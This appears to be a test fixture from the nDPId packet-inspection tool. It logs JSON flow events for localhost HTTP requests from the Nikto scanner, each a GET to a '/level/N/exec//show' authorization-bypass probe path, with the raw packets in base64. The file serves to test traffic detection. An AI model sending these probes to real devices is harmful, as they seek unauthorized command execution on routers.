+00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":598,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":598,"flow_packet_id":1,"flow_first_seen":1576420277639,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50758,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/50\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001297)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":599,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":599,"flow_packet_id":1,"flow_first_seen":1576420277642,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50760,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":599,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":599,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":642930,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIuMhAAEAGg2V\/AAABfwAAAcZIH5DuPYHFtiFXooAYAED+vAAAAQEICp1m\/rKdZv6yR0VUIC9sZXZlbC81MS9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMjk4KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":599,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":599,"flow_packet_id":1,"flow_first_seen":1576420277642,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50760,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/51\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001298)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":600,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":600,"flow_packet_id":1,"flow_first_seen":1576420277644,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50762,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":600,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":600,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":644872,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIp2FAAEAGlMx\/AAABfwAAAcZKH5BZVp5d6Tz88YAYAED+vAAAAQEICp1m\/rSdZv60R0VUIC9sZXZlbC81Mi9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMjk5KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":600,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":600,"flow_packet_id":1,"flow_first_seen":1576420277644,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50762,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/52\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001299)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":601,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":601,"flow_packet_id":1,"flow_first_seen":1576420277646,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50764,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00637{"flow_id":601,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":601,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":646555,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIRMlAAEAG92R\/AAABfwAAAcZMH5Ck2n3FkPG1\/IAYAED+vAAAAQEICp1m\/radZv62R0VUIC9sZXZlbC81My9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzAwKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":601,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":601,"flow_packet_id":1,"flow_first_seen":1576420277646,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50764,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/53\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001300)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":602,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":602,"flow_packet_id":1,"flow_first_seen":1576420277648,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50766,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":602,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":602,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":648435,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIfG5AAEAGv79\/AAABfwAAAcZOH5Bk90VplsnARIAYAED+vAAAAQEICp1m\/ridZv64R0VUIC9sZXZlbC81NC9leGVjLy9zaG93IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzAxKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":602,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":602,"flow_packet_id":1,"flow_first_seen":1576420277648,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50766,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/54\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001301)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":603,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":603,"flow_packet_id":1,"flow_first_seen":1576420277650,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50768,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00637{"flow_id":603,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":603,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":650013,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIGk5AAEAGIeB\/AAABfwAAAcZQH5A3JSNJK84\/noAYAED+vAAAAQEICp1m\/rmdZv65R0VUIC9sZXZlbC81NS9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzAyKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":603,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":603,"flow_packet_id":1,"flow_first_seen":1576420277650,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50768,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/55\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001302)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":604,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":604,"flow_packet_id":1,"flow_first_seen":1576420277657,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50770,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":604,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":604,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":657136,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIqGlAAEAGk8R\/AAABfwAAAcZSH5BRNZFiv2NJXIAYAED+vAAAAQEICp1m\/sGdZv7AR0VUIC9sZXZlbC81Ni9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzAzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":604,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":604,"flow_packet_id":1,"flow_first_seen":1576420277657,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50770,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/56\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001303)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":605,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":605,"flow_packet_id":1,"flow_first_seen":1576420277658,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50772,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":605,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":605,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":658913,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIKidAAEAGEgd\/AAABfwAAAcZUH5DRhBMk1ziDVIAYAED+vAAAAQEICp1m\/sKdZv7CR0VUIC9sZXZlbC81Ny9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzMDQpDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":605,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":605,"flow_packet_id":1,"flow_first_seen":1576420277658,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50772,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/57\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001304)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":606,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":606,"flow_packet_id":1,"flow_first_seen":1576420277660,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50774,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":606,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":606,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":660624,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADI7vpAAEAGTTN\/AAABfwAAAcZWH5Ba4NgASBBLBYAYAED+vAAAAQEICp1m\/sSdZv7ER0VUIC9sZXZlbC81OC9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzA1KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":606,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":606,"flow_packet_id":1,"flow_first_seen":1576420277660,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50774,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/58\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001305)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":607,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":607,"flow_packet_id":1,"flow_first_seen":1576420277662,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50776,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":607,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":607,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":662314,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIlWJAAEAGpst\/AAABfwAAAcZYH5ApQaxoF8oWWYAYAED+vAAAAQEICp1m\/sadZv7GR0VUIC9sZXZlbC81OS9leGVjLy9zaG93IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzA2KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":607,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":607,"flow_packet_id":1,"flow_first_seen":1576420277662,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50776,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/59\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001306)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":608,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":608,"flow_packet_id":1,"flow_first_seen":1576420277663,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50778,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":608,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":608,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":663825,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIGkpAAEAGIeR\/AAABfwAAAcZaH5C0PSNBlakojYAYAED+vAAAAQEICp1m\/sedZv7HR0VUIC9sZXZlbC82MC9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzMDcpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":608,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":608,"flow_packet_id":1,"flow_first_seen":1576420277663,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50778,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/60\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001307)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":609,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":609,"flow_packet_id":1,"flow_first_seen":1576420277667,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50780,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":609,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":609,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":667846,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIoR1AAEAGmxB\/AAABfwAAAcZcH5BUypgTdH6XP4AYAED+vAAAAQEICp1m\/sudZv7LR0VUIC9sZXZlbC82MS9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzA4KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":609,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":609,"flow_packet_id":1,"flow_first_seen":1576420277667,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50780,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/61\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001308)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":610,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":610,"flow_packet_id":1,"flow_first_seen":1576420277669,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50782,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":610,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":610,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":669470,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADI7qNAAEAGTYp\/AAABfwAAAcZeH5CzGNepEFgF6YAYAED+vAAAAQEICp1m\/s2dZv7NR0VUIC9sZXZlbC82Mi9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzMDkpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":610,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":610,"flow_packet_id":1,"flow_first_seen":1576420277669,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50782,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/62\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001309)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":611,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":611,"flow_packet_id":1,"flow_first_seen":1576420277670,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50784,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 